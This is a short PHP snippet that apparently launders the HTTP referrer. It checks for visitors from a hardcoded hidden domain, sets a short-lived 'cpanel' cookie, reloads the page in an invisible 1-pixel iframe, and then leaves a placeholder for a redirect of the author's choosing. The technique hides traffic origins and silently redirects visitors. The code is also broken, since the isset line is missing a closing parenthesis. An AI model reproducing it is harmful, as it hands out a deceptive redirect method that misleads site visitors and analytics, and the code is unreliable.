<?php
if(isset($_COOKIE['cpanel']){
echo"<!-- redirect code - here you can use meta refresh, javascript auto submitted form with get, whatever you like-->";
exit;
}
$hiddendomain = "http://somehiddensite.net/";
$ref = $_SERVER['HTTP_REFERER'];
if($ref == "$hiddendomain"){
setcookie("cpanel", "1", time()+10);
echo"<iframe src=\"index.php\" style=\"width:1px; height:1px; display:none;\"></iframe>";
}
?>